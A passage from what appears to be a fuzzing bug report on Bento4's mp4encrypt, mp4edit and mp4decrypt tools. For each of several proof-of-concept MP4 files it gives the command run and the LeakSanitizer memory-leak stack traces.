#2 0x556c32 in AP4_EsdsAtom::Create(unsigned int, AP4_ByteStream&) (/fuzz-mp4encrypt/mp4encrypt/mp4encrypt+0x556c32)
#3 0x43aae6 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/fuzz-mp4encrypt/mp4encrypt/mp4encrypt+0x43aae6)
#4 0x449406 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/fuzz-mp4encrypt/mp4encrypt/mp4encrypt+0x449406)
#5 0x51be85 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) (/fuzz-mp4encrypt/mp4encrypt/mp4encrypt+0x51be85)
#6 0x42e842 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/fuzz-mp4encrypt/mp4encrypt/mp4encrypt+0x42e842)
#7 0x449406 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/fuzz-mp4encrypt/mp4encrypt/mp4encrypt+0x449406)
#8 0x722218 in AP4_StsdAtom::AP4_StsdAtom(unsigned int, unsigned char, unsigned int, AP4_ByteStream&, AP4_AtomFactory&) (/fuzz-mp4encrypt/mp4encrypt/mp4encrypt+0x722218)
#9 0x7215b2 in AP4_StsdAtom::Create(unsigned int, AP4_ByteStream&, AP4_AtomFactory&) (/fuzz-mp4encrypt/mp4encrypt/mp4encrypt+0x7215b2)
#10 0x439d76 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/fuzz-mp4encrypt/mp4encrypt/mp4encrypt+0x439d76)
#11 0x449406 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/fuzz-mp4encrypt/mp4encrypt/mp4encrypt+0x449406)
#12 0x51be85 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) (/fuzz-mp4encrypt/mp4encrypt/mp4encrypt+0x51be85)
#13 0x51b62a in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) (/fuzz-mp4encrypt/mp4encrypt/mp4encrypt+0x51b62a)
#14 0x4438e4 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/fuzz-mp4encrypt/mp4encrypt/mp4encrypt+0x4438e4)
#15 0x449406 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/fuzz-mp4encrypt/mp4encrypt/mp4encrypt+0x449406)
#16 0x51be85 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) (/fuzz-mp4encrypt/mp4encrypt/mp4encrypt+0x51be85)
#17 0x51b62a in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) (/fuzz-mp4encrypt/mp4encrypt/mp4encrypt+0x51b62a)
#18 0x4438e4 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/fuzz-mp4encrypt/mp4encrypt/mp4encrypt+0x4438e4)
#19 0x449406 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/fuzz-mp4encrypt/mp4encrypt/mp4encrypt+0x449406)
#20 0x51be85 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) (/fuzz-mp4encrypt/mp4encrypt/mp4encrypt+0x51be85)
#21 0x51b62a in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) (/fuzz-mp4encrypt/mp4encrypt/mp4encrypt+0x51b62a)
#22 0x4438e4 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/fuzz-mp4encrypt/mp4encrypt/mp4encrypt+0x4438e4)
#23 0x449406 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/fuzz-mp4encrypt/mp4encrypt/mp4encrypt+0x449406)
#24 0x51be85 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) (/fuzz-mp4encrypt/mp4encrypt/mp4encrypt+0x51be85)
#25 0x51e13b in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) (/fuzz-mp4encrypt/mp4encrypt/mp4encrypt+0x51e13b)
SUMMARY: AddressSanitizer: 144 byte(s) leaked in 2 allocation(s).
```
# **Bug2**
Detected memory leaks in mp4edit, the bug may be different from #776.
```
root@q11s3kl5mn:/fuzz-mp4edit/mp4edit# ./mp4edit POC_mp4edit_728838793 /dev/null
WARNING: atom serialized to fewer bytes than declared size
WARNING: atom serialized to fewer bytes than declared size
WARNING: atom serialized to fewer bytes than declared size
WARNING: padding would be too large
WARNING: atom serialized to fewer bytes than declared size
WARNING: padding would be too large
WARNING: atom serialized to fewer bytes than declared size
WARNING: atom serialized to fewer bytes than declared size
WARNING: atom serialized to fewer bytes than declared size
WARNING: padding would be too large
WARNING: atom serialized to fewer bytes than declared size
WARNING: padding would be too large
=================================================================
==91239==ERROR: LeakSanitizer: detected memory leaks
Direct leak of 72 byte(s) in 1 object(s) allocated from:
#0 0x8eaf60 in malloc /llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:145
#1 0x7f3c0c690297 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libstdc++.so.6+0x93297)
#2 0x4c1886 in AP4_EsdsAtom::Create(unsigned int, AP4_ByteStream&) (/fuzz-mp4edit/mp4edit/mp4edit+0x4c1886)
#3 0x4552db in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/fuzz-mp4edit/mp4edit/mp4edit+0x4552db)
#4 0x4618ff in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/fuzz-mp4edit/mp4edit/mp4edit+0x4618ff)
#5 0x48de17 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) (/fuzz-mp4edit/mp4edit/mp4edit+0x48de17)
#6 0x5d7069 in AP4_SampleEntry::Read(AP4_ByteStream&, AP4_AtomFactory&) (/fuzz-mp4edit/mp4edit/mp4edit+0x5d7069)
#7 0x4618ff in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/fuzz-mp4edit/mp4edit/mp4edit+0x4618ff)
#8 0x62020e in AP4_StsdAtom::AP4_StsdAtom(unsigned int, unsigned char, unsigned int, AP4_ByteStream&, AP4_AtomFactory&) (/fuzz-mp4edit/mp4edit/mp4edit+0x62020e)
#9 0x61f694 in AP4_StsdAtom::Create(unsigned int, AP4_ByteStream&, AP4_AtomFactory&) (/fuzz-mp4edit/mp4edit/mp4edit+0x61f694)
#10 0x4546d3 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/fuzz-mp4edit/mp4edit/mp4edit+0x4546d3)
#11 0x4618ff in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/fuzz-mp4edit/mp4edit/mp4edit+0x4618ff)
#12 0x48de17 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) (/fuzz-mp4edit/mp4edit/mp4edit+0x48de17)
#13 0x48d616 in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) (/fuzz-mp4edit/mp4edit/mp4edit+0x48d616)
#14 0x45cb77 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/fuzz-mp4edit/mp4edit/mp4edit+0x45cb77)
#15 0x4618ff in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/fuzz-mp4edit/mp4edit/mp4edit+0x4618ff)
#16 0x48de17 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) (/fuzz-mp4edit/mp4edit/mp4edit+0x48de17)
#17 0x48d616 in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) (/fuzz-mp4edit/mp4edit/mp4edit+0x48d616)
#18 0x45cb77 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/fuzz-mp4edit/mp4edit/mp4edit+0x45cb77)
#19 0x4618ff in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/fuzz-mp4edit/mp4edit/mp4edit+0x4618ff)
#20 0x48de17 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) (/fuzz-mp4edit/mp4edit/mp4edit+0x48de17)
#21 0x48d616 in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) (/fuzz-mp4edit/mp4edit/mp4edit+0x48d616)
#22 0x45cb77 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/fuzz-mp4edit/mp4edit/mp4edit+0x45cb77)
#23 0x4618ff in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/fuzz-mp4edit/mp4edit/mp4edit+0x4618ff)
#24 0x48de17 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) (/fuzz-mp4edit/mp4edit/mp4edit+0x48de17)
#25 0x48fb01 in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) (/fuzz-mp4edit/mp4edit/mp4edit+0x48fb01)
Direct leak of 72 byte(s) in 1 object(s) allocated from:
#0 0x8eaf60 in malloc /llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:145
#1 0x7f3c0c690297 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libstdc++.so.6+0x93297)
#2 0x4c1886 in AP4_EsdsAtom::Create(unsigned int, AP4_ByteStream&) (/fuzz-mp4edit/mp4edit/mp4edit+0x4c1886)
#3 0x4552db in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/fuzz-mp4edit/mp4edit/mp4edit+0x4552db)
#4 0x4618ff in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/fuzz-mp4edit/mp4edit/mp4edit+0x4618ff)
#5 0x48de17 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) (/fuzz-mp4edit/mp4edit/mp4edit+0x48de17)
#6 0x5d7069 in AP4_SampleEntry::Read(AP4_ByteStream&, AP4_AtomFactory&) (/fuzz-mp4edit/mp4edit/mp4edit+0x5d7069)
#7 0x4618ff in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/fuzz-mp4edit/mp4edit/mp4edit+0x4618ff)
#8 0x62020e in AP4_StsdAtom::AP4_StsdAtom(unsigned int, unsigned char, unsigned int, AP4_ByteStream&, AP4_AtomFactory&) (/fuzz-mp4edit/mp4edit/mp4edit+0x62020e)
#9 0x61f694 in AP4_StsdAtom::Create(unsigned int, AP4_ByteStream&, AP4_AtomFactory&) (/fuzz-mp4edit/mp4edit/mp4edit+0x61f694)
#10 0x4546d3 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/fuzz-mp4edit/mp4edit/mp4edit+0x4546d3)
#11 0x4618ff in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/fuzz-mp4edit/mp4edit/mp4edit+0x4618ff)
#12 0x48de17 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) (/fuzz-mp4edit/mp4edit/mp4edit+0x48de17)
#13 0x48d616 in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) (/fuzz-mp4edit/mp4edit/mp4edit+0x48d616)
#14 0x45cb77 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/fuzz-mp4edit/mp4edit/mp4edit+0x45cb77)
#15 0x4618ff in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/fuzz-mp4edit/mp4edit/mp4edit+0x4618ff)
#16 0x4b6440 in AP4_DrefAtom::AP4_DrefAtom(unsigned int, unsigned char, unsigned int, AP4_ByteStream&, AP4_AtomFactory&) (/fuzz-mp4edit/mp4edit/mp4edit+0x4b6440)
#17 0x4b5af8 in AP4_DrefAtom::Create(unsigned int, AP4_ByteStream&, AP4_AtomFactory&) (/fuzz-mp4edit/mp4edit/mp4edit+0x4b5af8)
#18 0x456f8a in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/fuzz-mp4edit/mp4edit/mp4edit+0x456f8a)
#19 0x4618ff in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/fuzz-mp4edit/mp4edit/mp4edit+0x4618ff)
#20 0x48de17 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) (/fuzz-mp4edit/mp4edit/mp4edit+0x48de17)
#21 0x48d616 in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) (/fuzz-mp4edit/mp4edit/mp4edit+0x48d616)
#22 0x45cb77 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/fuzz-mp4edit/mp4edit/mp4edit+0x45cb77)
#23 0x4618ff in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/fuzz-mp4edit/mp4edit/mp4edit+0x4618ff)
#24 0x48de17 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) (/fuzz-mp4edit/mp4edit/mp4edit+0x48de17)
#25 0x48d616 in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) (/fuzz-mp4edit/mp4edit/mp4edit+0x48d616)
#26 0x45cb77 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/fuzz-mp4edit/mp4edit/mp4edit+0x45cb77)
#27 0x4618ff in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/fuzz-mp4edit/mp4edit/mp4edit+0x4618ff)
#28 0x48de17 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) (/fuzz-mp4edit/mp4edit/mp4edit+0x48de17)
#29 0x48d616 in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) (/fuzz-mp4edit/mp4edit/mp4edit+0x48d616)
SUMMARY: AddressSanitizer: 144 byte(s) leaked in 2 allocation(s).
```
# **Bug3**
Detected memory leaks in mp4decrypt.
```
root@34f1181t281a:/fuzz-mp4decrypt/mp4decrypt# ./mp4decrypt POC_mp4decrypt_477546304 /dev/null
WARNING: atom serialized to fewer bytes than declared size
=================================================================
==203693==ERROR: LeakSanitizer: detected memory leaks
Direct leak of 88 byte(s) in 1 object(s) allocated from:
#0 0x8f7da0 in malloc /llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:145
#1 0x7fd288f7b297 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libstdc++.so.6+0x93297)
#2 0x42ffef in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, AP4_Atom*&) (/fuzz-mp4decrypt/mp4decrypt/mp4decrypt+0x42ffef)
#3 0x5e6b75 in AP4_Processor::Process(AP4_ByteStream&, AP4_ByteStream&, AP4_ByteStream*, AP4_Processor::ProgressListener*, AP4_AtomFactory&) (/fuzz-mp4decrypt/mp4decrypt/mp4decrypt+0x5e6b75)
#4 0x414e8b in main (/fuzz-mp4decrypt/mp4decrypt/mp4decrypt+0x414e8b)
#5 0x7fd288900c86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
Direct leak of 48 byte(s) in 1 object(s) allocated from:
#0 0x8f7da0 in malloc /llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:145
#1 0x7fd288f7b297 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libstdc++.so.6+0x93297)
#2 0x423f9d in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/fuzz-mp4decrypt/mp4decrypt/mp4decrypt+0x423f9d)
#3 0x4320af in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/fuzz-mp4decrypt/mp4decrypt/mp4decrypt+0x4320af)
#4 0x42ffef in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, AP4_Atom*&) (/fuzz-mp4decrypt/mp4decrypt/mp4decrypt+0x42ffef)
#5 0x5e6b75 in AP4_Processor::Process(AP4_ByteStream&, AP4_ByteStream&, AP4_ByteStream*, AP4_Processor::ProgressListener*, AP4_AtomFactory&) (/fuzz-mp4decrypt/mp4decrypt/mp4decrypt+0x5e6b75)
#6 0x414e8b in main (/fuzz-mp4decrypt/mp4decrypt/mp4decrypt+0x414e8b)
#7 0x7fd288900c86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
Indirect leak of 192 byte(s) in 1 object(s) allocated from:
#0 0x8f7da0 in malloc /llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:145
#1 0x7fd288f7b297 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libstdc++.so.6+0x93297)
#2 0x4324cf in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/fuzz-mp4decrypt/mp4decrypt/mp4decrypt+0x4324cf)
#3 0x42ffef in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, AP4_Atom*&) (/fuzz-mp4decrypt/mp4decrypt/mp4decrypt+0x42ffef)
#4 0x5e6b75 in AP4_Processor::Process(AP4_ByteStream&, AP4_ByteStream&, AP4_ByteStream*, AP4_Processor::ProgressListener*, AP4_AtomFactory&) (/fuzz-mp4decrypt/mp4decrypt/mp4decrypt+0x5e6b75)
#5 0x414e8b in main (/fuzz-mp4decrypt/mp4decrypt/mp4decrypt+0x414e8b)
#6 0x7fd288900c86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
SUMMARY: AddressSanitizer: 328 byte(s) leaked in 3 allocation(s).
```
# **Bug4**
Detected memory leaks in mp4decrypt.
```
root@34f1181t281a:/fuzz-mp4decrypt/mp4decrypt# ./mp4decrypt POC_mp4decrypt_34393864 /dev/null
WARNING: atom serialized to fewer bytes than declared size
=================================================================
==52857==ERROR: LeakSanitizer: detected memory leaks
Indirect leak of 1376 byte(s) in 1 object(s) allocated from:
#0 0x8f7da0 in malloc /llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:145
#1 0x7fd58b6db297 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libstdc++.so.6+0x93297)
#2 0x6f392d in AP4_TrunAtom::Create(unsigned int, AP4_ByteStream&) (/fuzz-mp4decrypt/mp4decrypt/mp4decrypt+0x6f392d)
#3 0x423d35 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/fuzz-mp4decrypt/mp4decrypt/mp4decrypt+0x423d35)
#4 0x4320af in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/fuzz-mp4decrypt/mp4decrypt/mp4decrypt+0x4320af)
#5 0x4eb387 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) (/fuzz-mp4decrypt/mp4decrypt/mp4decrypt+0x4eb387)
#6 0x4eab86 in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) (/fuzz-mp4decrypt/mp4decrypt/mp4decrypt+0x4eab86)
#7 0x42d270 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/fuzz-mp4decrypt/mp4decrypt/mp4decrypt+0x42d270)
#8 0x4320af in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/fuzz-mp4decrypt/mp4decrypt/mp4decrypt+0x4320af)
#9 0x42ffef in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, AP4_Atom*&) (/fuzz-mp4decrypt/mp4decrypt/mp4decrypt+0x42ffef)
#10 0x5e6b75 in AP4_Processor::Process(AP4_ByteStream&, AP4_ByteStream&, AP4_ByteStream*, AP4_Processor::ProgressListener*, AP4_AtomFactory&) (/fuzz-mp4decrypt/mp4decrypt/mp4decrypt+0x5e6b75)
#11 0x414e8b in main (/fuzz-mp4decrypt/mp4decrypt/mp4decrypt+0x414e8b)
#12 0x7fd58b060c86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
…… ……
Indirect leak of 48 byte(s) in 1 object(s) allocated from:
#0 0x8f7da0 in malloc /llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:145
#1 0x7fd58b6db297 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libstdc++.so.6+0x93297)
#2 0x42aca3 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/fuzz-mp4decrypt/mp4decrypt/mp4decrypt+0x42aca3)
#3 0x4320af in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/fuzz-mp4decrypt/mp4decrypt/mp4decrypt+0x4320af)
#4 0x4eb387 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) (/fuzz-mp4decrypt/mp4decrypt/mp4decrypt+0x4eb387)
#5 0x4eab86 in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) (/fuzz-mp4decrypt/mp4decrypt/mp4decrypt+0x4eab86)
#6 0x42d270 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/fuzz-mp4decrypt/mp4decrypt/mp4decrypt+0x42d270)
#7 0x4320af in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/fuzz-mp4decrypt/mp4decrypt/mp4decrypt+0x4320af)
#8 0x42ffef in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, AP4_Atom*&) (/fuzz-mp4decrypt/mp4decrypt/mp4decrypt+0x42ffef)
#9 0x5e6b75 in AP4_Processor::Process(AP4_ByteStream&, AP4_ByteStream&, AP4_ByteStream*, AP4_Processor::ProgressListener*, AP4_AtomFactory&) (/fuzz-mp4decrypt/mp4decrypt/mp4decrypt+0x5e6b75)
#10 0x414e8b in main (/fuzz-mp4decrypt/mp4decrypt/mp4decrypt+0x414e8b)
#11 0x7fd58b060c86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
SUMMARY: AddressSanitizer: 1720 byte(s) leaked in 8 allocation(s).
```
# **Bug5**
Detected memory leaks in mp4decrypt.
```
root@34f1181t281a:/fuzz-mp4decrypt/mp4decrypt# ./mp4decrypt POC_mp4decrypt_654515280 /dev/null
WARNING: atom serialized to fewer bytes than declared size
WARNING: atom serialized to fewer bytes than declared size
LLVMSymbolizer: error reading file: No such file or directory
=================================================================
==197884==ERROR: LeakSanitizer: detected memory leaks
Direct leak of 264 byte(s) in 3 object(s) allocated from:
#0 0x8f7da0 in malloc /llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:145
#1 0x7f0c66e06297 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libstdc++.so.6+0x93297)
#2 0x51e986 in AP4_EsdsAtom::Create(unsigned int, AP4_ByteStream&) (/fuzz-mp4decrypt/mp4decrypt/mp4decrypt+0x51e986)
#3 0x424e14 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/fuzz-mp4decrypt/mp4decrypt/mp4decrypt+0x424e14)
#4 0x4320af in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/fuzz-mp4decrypt/mp4decrypt/mp4decrypt+0x4320af)
#5 0x4eb387 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) (/fuzz-mp4decrypt/mp4decrypt/mp4decrypt+0x4eb387)
#6 0x661689 in AP4_SampleEntry::Read(AP4_ByteStream&, AP4_AtomFactory&) (/fuzz-mp4decrypt/mp4decrypt/mp4decrypt+0x661689)
#7 0x4320af in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/fuzz-mp4decrypt/mp4decrypt/mp4decrypt+0x4320af)
#8 0x6aa85e in AP4_StsdAtom::AP4_StsdAtom(unsigned int, unsigned char, unsigned int, AP4_ByteStream&, AP4_AtomFactory&) (/fuzz-mp4decrypt/mp4decrypt/mp4decrypt+0x6aa85e)
#9 0x6a9ce4 in AP4_StsdAtom::Create(unsigned int, AP4_ByteStream&, AP4_AtomFactory&) (/fuzz-mp4decrypt/mp4decrypt/mp4decrypt+0x6a9ce4)
#10 0x42420c in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/fuzz-mp4decrypt/mp4decrypt/mp4decrypt+0x42420c)
#11 0x4320af in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/fuzz-mp4decrypt/mp4decrypt/mp4decrypt+0x4320af)
#12 0x4eb387 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) (/fuzz-mp4decrypt/mp4decrypt/mp4decrypt+0x4eb387)
#13 0x4eab86 in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) (/fuzz-mp4decrypt/mp4decrypt/mp4decrypt+0x4eab86)
#14 0x42d270 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/fuzz-mp4decrypt/mp4decrypt/mp4decrypt+0x42d270)
#15 0x4320af in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/fuzz-mp4decrypt/mp4decrypt/mp4decrypt+0x4320af)
#16 0x4eb387 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) (/fuzz-mp4decrypt/mp4decrypt/mp4decrypt+0x4eb387)
#17 0x4eab86 in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) (/fuzz-mp4decrypt/mp4decrypt/mp4decrypt+0x4eab86)
#18 0x42d270 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/fuzz-mp4decrypt/mp4decrypt/mp4decrypt+0x42d270)
#19 0x4320af in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/fuzz-mp4decrypt/mp4decrypt/mp4decrypt+0x4320af)
#20 0x4eb387 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) (/fuzz-mp4decrypt/mp4decrypt/mp4decrypt+0x4eb387)
#21 0x4eab86 in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) (/fuzz-mp4decrypt/mp4decrypt/mp4decrypt+0x4eab86)
#22 0x42d270 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/fuzz-mp4decrypt/mp4decrypt/mp4decrypt+0x42d270)
#23 0x4320af in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/fuzz-mp4decrypt/mp4decrypt/mp4decrypt+0x4320af)
